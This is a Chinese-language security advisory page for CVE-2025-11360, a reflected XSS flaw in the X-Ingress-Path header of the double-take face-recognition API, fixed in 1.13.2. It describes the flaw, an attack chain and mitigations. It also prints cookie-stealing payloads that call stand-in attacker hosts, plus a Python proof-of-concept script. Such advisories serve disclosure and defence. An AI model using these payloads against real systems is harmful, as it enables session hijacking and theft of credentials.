IPBUF安全漏洞报告
English
CVE-2025-11360 CVSS 4.3 中危

CVE-2025-11360:double-take API组件X-Ingress-Path反射型XSS漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11360
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
jakowenko double-take

相关标签

XSS跨站脚本攻击反射型XSSCVE-2025-11360double-takejakowenkoAPI漏洞Node.jsExpress中等严重性

漏洞概述

CVE-2025-11360是jakowenko double-take项目中存在的一个跨站脚本(XSS)漏洞,影响版本为1.13.1及之前的版本。该漏洞位于API组件的api/src/app.js文件中的app.use函数处,攻击者可以通过操纵HTTP请求头中的X-Ingress-Path参数注入恶意的JavaScript代码。由于该漏洞属于反射型XSS,攻击者需要诱导用户点击特制的链接或在特定上下文中发起请求才能触发利用。

该漏洞的CVSS 3.1评分为4.3分,属于中等严重级别。虽然漏洞可被远程利用,但攻击向量为网络可访问且无需认证权限,不过需要用户交互(UI:R)才能完成攻击。漏洞对机密性影响较低(C:L),对完整性影响较低(I:L),对可用性无影响(A:N)。

double-take是一个开源的面部识别项目,主要用于监控摄像头和媒体文件中的人脸检测与识别。该项目在家庭自动化和安全监控领域有一定应用,其API组件负责处理来自前端的请求和与后端服务的通信。由于X-Ingress-Path头通常用于反向代理环境中标识原始请求路径,该参数未经过适当的过滤和转义就被使用,导致XSS漏洞的产生。

该漏洞由VulDB社区的[email protected]发现并报告,官方已在版本1.13.2中修复,修复提交为e11de9dd6b4ea6b7ec9a5607a920d48961e9fa60。建议所有使用受影响版本的用户尽快升级到1.13.2或更高版本以消除安全风险。

技术细节

该漏洞的技术原理是利用double-take API组件中对X-Ingress-Path HTTP请求头处理不当的问题。在Node.js/Express框架中,app.use()中间件用于注册请求处理函数。当API接收到包含X-Ingress-Path头的请求时,该头的值未经充分的HTML实体编码或过滤就被直接嵌入到响应页面中。

具体利用方式如下:攻击者构造一个包含恶意JavaScript代码的HTTP请求,将恶意负载放置在X-Ingress-Path请求头中,例如设置为"<script>alert(document.cookie)</script>"或更复杂的payload如"<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"。当目标用户通过浏览器访问受影响的API端点,并且请求经过反向代理(如Nginx Ingress)转发时,X-Ingress-Path头的值会被服务器端直接渲染到返回的HTML响应中。由于浏览器会解析并执行响应中的<script>标签或事件处理器中的JavaScript代码,攻击者即可在受害者的会话上下文中执行任意脚本。

这种反射型XSS可导致多种攻击后果,包括但不限于:窃取用户的会话Cookie和认证令牌、执行未授权的操作(如修改面部识别配置)、将用户重定向到恶意钓鱼页面、在受害者浏览器中植入恶意软件或进行键盘记录等。由于该API通常部署在内部网络或通过反向代理暴露,攻击者可能需要先获得网络访问权限或通过社会工程学手段诱导受害者访问恶意链接。

修复方案是在处理X-Ingress-Path参数时引入适当的输入验证和输出编码机制,例如使用HTML实体编码函数(如he.encode()或lodash.escape())对用户可控的输入进行转义,确保特殊字符(如<、>、"、'、&)被正确转义为HTML实体,从而防止浏览器将其解释为可执行代码。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、Censys等搜索引擎或直接扫描目标网络,识别运行double-take API服务的目标系统,确认其版本号为1.13.1或更早版本。
STEP 2
步骤2:构造恶意请求
攻击者构造包含恶意JavaScript代码的HTTP请求,将payload放置在X-Ingress-Path请求头中,payload形式如<script>document.location='https://attacker.com/steal?c='+document.cookie</script>。
STEP 3
步骤3:社会工程诱导
由于该漏洞需要用户交互(UI:R),攻击者需要通过钓鱼邮件、即时通讯工具或社交媒体等方式诱导受害者点击特制的链接或访问包含恶意请求的页面。
STEP 4
步骤4:触发XSS执行
受害者的浏览器向目标double-take API发起请求,由于反向代理环境会将X-Ingress-Path头传递给后端,后端将该值未经转义地嵌入到响应HTML中,浏览器解析并执行恶意脚本。
STEP 5
步骤5:数据窃取与权限提升
恶意脚本在受害者的认证会话上下文中执行,窃取Cookie、会话令牌等敏感信息,攻击者利用这些信息冒充受害者身份访问API,执行未授权操作如修改面部识别配置、查看监控数据等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11360 PoC - double-take XSS via X-Ingress-Path header # Vulnerability: Reflected XSS in api/src/app.js via app.use middleware # Affected: double-take <= 1.13.1 # Fixed in: 1.13.2 import requests TARGET_URL = "http://target-double-take-api:3000/" MALICIOUS_PAYLOAD = "<script>alert('XSS-CVE-2025-11360');document.location='https://attacker.example.com/steal?cookie='+document.cookie;</script>" # Construct the malicious request with X-Ingress-Path header injection headers = { "X-Ingress-Path": MALICIOUS_PAYLOAD, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Send the request - the X-Ingress-Path value will be reflected in the response response = requests.get(TARGET_URL, headers=headers) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response contains payload: {MALICIOUS_PAYLOAD in response.text}") if MALICIOUS_PAYLOAD in response.text: print("[+] VULNERABLE: XSS payload reflected in response without sanitization!") else: print("[-] NOT VULNERABLE or payload was sanitized") # Alternative curl-based PoC: # curl -H "X-Ingress-Path: <script>alert('XSS')</script>" http://target:3000/api/endpoint

影响范围

jakowenko double-take < 1.13.2
jakowenko double-take <= 1.13.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在反向代理层(如Nginx)添加规则,对传入的X-Ingress-Path请求头进行过滤和验证,拒绝包含HTML标签或JavaScript代码的异常请求;2)在API网关或WAF中配置XSS防护规则,对所有用户可控输入进行HTML实体编码;3)部署严格的Content-Security-Policy响应头,限制内联脚本执行;4)监控API日志,识别异常的X-Ingress-Path请求模式;5)限制API的网络访问范围,仅允许可信网络访问;6)尽快安排升级到1.13.2版本以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表